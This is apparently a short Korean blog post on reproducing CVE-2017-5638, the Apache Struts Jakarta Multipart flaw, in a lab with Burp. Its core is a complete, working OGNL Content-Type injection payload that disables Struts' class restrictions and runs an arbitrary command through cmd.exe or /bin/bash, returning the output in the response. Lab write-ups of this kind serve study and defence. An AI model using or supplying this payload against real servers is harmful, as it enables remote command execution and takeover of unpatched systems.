효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

아파치 스트럿츠는 자바 기반의 프레임워크인데 여기서 발견된 CVE-2017-5638는

2017년에 발견된 취약점으로 현재는 꽤 오래된 취약점이다.

Apache Struts는 Content-Type 헤더에 쿼리를 삽입했을 때

Jakarta Multipart 플러그인에서 잘못된 파싱으로 인해 명령어가 실행된다

이 때 공격 쿼리는 Content-Type 헤더는 OGNL 표현식이라는 것으로 삽입하는데 이 OGNL 표현식은

기존 표현식 보다 더 간단한 표현식으로 자바 객체의 속성을 가져오고 설정할 수 있다고함.

Content-Type: ${(#_='multipart/form-data').

 

실습환경 구성

 

페이지에 접근해서 버프로 패킷을 잡아줌 

 

반응형

컨텐츠 타입 헤더가 없다면 직접 작성해주면되는데 OGNL 표현식을 이용한 쿼리는 다음과 같다

%{ ..... } 안에 있는 모든 문자열들이 OGNL 표현식으로 처리되어 실행된다.

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='whoami').
(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase()
.contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
(#p=new java.lang.ProcessBuilder(#cmds))
.(#p.redirectErrorStream(true)).(#process=#p.start()).
(#ros=(@org.apache.struts2.ServletActionContext@getResponse()
.getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))
.(#ros.flush())}

 

위 코드에서 #cmd= 에 해당하는 부분이 명령어를 실행함

 

반응형
  • hyotwo7658@gmail.com

복사 완료 👍